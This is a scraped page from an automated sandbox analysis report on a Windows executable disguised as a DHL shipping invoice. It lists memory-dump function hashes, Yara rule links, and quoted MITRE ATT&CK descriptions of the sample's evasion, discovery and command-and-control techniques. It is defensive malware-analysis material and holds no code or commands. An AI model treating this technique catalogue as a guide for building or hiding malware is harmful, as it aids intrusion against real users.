Instruction ID: fc5f40746128adea91287da26d14ab308f4f641e5c7fcee95e72890fc1a612be
Opcode Fuzzy Hash: 018968dd6a17c7ac13ba0d0b1a54efa9168f8db15ee2fe1ab3638803780b68d6
Instruction Fuzzy Hash: E5315C347006108FD719EB2DD984B1A7BE6FF99B14B1581A9E509CF3A6EA70EC41CB90

Function 011C17F5 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438ded03057c3ece12d126113c0daebd44c9cdc62d39d3dbea0319a3171ffc3a
Instruction ID: 6523cdc6e46356f4a6dd3bd11cec33cda44c8011ffb5995162cf6702cb08554b
Opcode Fuzzy Hash: 438ded03057c3ece12d126113c0daebd44c9cdc62d39d3dbea0319a3171ffc3a
Instruction Fuzzy Hash: 223123B0D01249EFDB14CFAAC980ADEBFF5BF48710F248429E949AB250DB749941CB90

Function 011C1800 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec583712f7e3eb004ed9bd00f61d05ee444e80b57a52507888a0197f7ee6ae00
Instruction ID: ab2822f4381ef6857d8498087663befd762a28bb7df4a2685bab449f8747d8fa
Opcode Fuzzy Hash: ec583712f7e3eb004ed9bd00f61d05ee444e80b57a52507888a0197f7ee6ae00
Instruction Fuzzy Hash: 50313770D01249EFDB14CFAAC580ADEBFF5BF48710F248029E909AB250DB749941CF90

Function 011C08C8 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a51b0378da6415c90f0c52ad9c23c35f0d5fdea41a5da357dd50e4479aeb20bb
Instruction ID: db9913f3d9e677f3759930a85ecdb6b3df5dc55a276f3d811205afa28177fd17
Opcode Fuzzy Hash: a51b0378da6415c90f0c52ad9c23c35f0d5fdea41a5da357dd50e4479aeb20bb
Instruction Fuzzy Hash: 7B213B34700210CFD718DB2DD985B1A7BE6FF98B14B1581A9E609CF3A5EB70EC418B90

Function 011C09E0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11f214b5924400a01a9f30bfc1bbdd86145c9f9b48a1679dbdcd321a3737c4e4
Instruction ID: 04a3e86894cd7f019e57a69830e749d326537732cc85e7fc62dcc2bc496e3601
Opcode Fuzzy Hash: 11f214b5924400a01a9f30bfc1bbdd86145c9f9b48a1679dbdcd321a3737c4e4
Instruction Fuzzy Hash: AC019E32D0574EABCB019BB9E8044DDBB72EECA310F164652E100B7161EB702189C7A1

Function 00DCD76D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996232087.0000000000DCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dcd000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f13642f17a4a9eb1d99190c8b74d6a3fd4a9ae0e4c77f4242d7333b1b2f7c13
Instruction ID: 9d0953365c4eb20055e81f273e7b3d39dc6dc770a2148f2a0490b28d38433b07
Opcode Fuzzy Hash: 0f13642f17a4a9eb1d99190c8b74d6a3fd4a9ae0e4c77f4242d7333b1b2f7c13
Instruction Fuzzy Hash: 4601F271408345AAE7104E25DE84F66FFD8EF41324F18C03EED4A0B2D6C6B89C40C671

Function 011C09F0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ba1d6204966358fb5751847342fe4cdb064daed2f7b3dd9930e1651bd785f8e
Instruction ID: e080fcc33e960e19d596689172b84c77b4350bfbf70bae8f0fe322f66689acc7
Opcode Fuzzy Hash: 5ba1d6204966358fb5751847342fe4cdb064daed2f7b3dd9930e1651bd785f8e
Instruction Fuzzy Hash: F1F03C32E1060EA6CB109BA9D8004DEFB76EFC6320F514B12E61077164EB70619ACBA1

Function 011C0A69 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdca54b2564cb97dad14011ad3e558adb4fc43a6cdf19c029326a3657ee805f2
Instruction ID: b12054dbb3ffe241959751d14846d03de4a01d5dcb5a05203084b4d375d5af15
Opcode Fuzzy Hash: fdca54b2564cb97dad14011ad3e558adb4fc43a6cdf19c029326a3657ee805f2
Instruction Fuzzy Hash: 8BF0F632E1120A9BCB089B74C8599EF7FB1DF58300F05453AD402A7240DEB049068BC2

Function 00DCD76C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996232087.0000000000DCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dcd000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4f46a8ae97c9654fb3425b48f3588ef4a99fa752a14bd769f16ab1bbc86139d
Instruction ID: acce83301343379d4d8667f81a5b9045af1ddd7dafae3314c6e46636c84aca55
Opcode Fuzzy Hash: c4f46a8ae97c9654fb3425b48f3588ef4a99fa752a14bd769f16ab1bbc86139d
Instruction Fuzzy Hash: E7F0C271409344AEE7108A15DDC4B62FF98EB81724F18C06AED090B2C6C2789C44CB71

Function 011C09A8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fe257f007238be9d188ed8e96fe0296ceae4f3e45bf7595fc9c7647b789ed38
Instruction ID: 055f8d66b7caa12102bb5751c57190e0bfacbbdcb735361dcdb8f80b97adb9f7
Opcode Fuzzy Hash: 8fe257f007238be9d188ed8e96fe0296ceae4f3e45bf7595fc9c7647b789ed38
Instruction Fuzzy Hash: FAE04F3030A7949FC7025775A8188493BB99F4F11030500E6F086CB372DA39DC05C7D1

Function 011C0858 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58399d6644e71d4da928c39c2893689e7dc8fdc65ec7897bcc08d52743d1b7cd
Instruction ID: 257d96c678d4fe22cecccf3b625140adea8ee214dd334d31b0c28a0407adb444
Opcode Fuzzy Hash: 58399d6644e71d4da928c39c2893689e7dc8fdc65ec7897bcc08d52743d1b7cd
Instruction Fuzzy Hash: ACE06D7050534AEFCB01DFB8F8045487FB4EF4A30070145DAD048DB221DA301E04D761

Function 011C0868 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e23f86518b45bcba220dff9b6ae3bee34d65509ee2534ab6611d8a0975eb88f8
Instruction ID: bd564123d5ceec3451bffcf81a5da6779d4f02fe737796674457e4a1645a053e
Opcode Fuzzy Hash: e23f86518b45bcba220dff9b6ae3bee34d65509ee2534ab6611d8a0975eb88f8
Instruction Fuzzy Hash: 0ED01230901209EF8B00DFA8F90165D77B9EB44205B5041ADD408D7304DA315F009B61

Function 011C0840 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f0001784e08fc257d3abf5e975db814953d84dd64b8656c2fddbca1561d780b
Instruction ID: f0ed1d991369fb368a85d2efd4fb082b2ed79fcbcd685f894059279190cf107c
Opcode Fuzzy Hash: 9f0001784e08fc257d3abf5e975db814953d84dd64b8656c2fddbca1561d780b
Instruction Fuzzy Hash: FCC048B0589A98AFCB124BA1EA9C5103F31AE9A30030645EB91888E1B68A690808C326

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DHL-SHIPPING INVOICE-1&.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Windows Analysis Report
DHL-SHIPPING INVOICE-1&.exe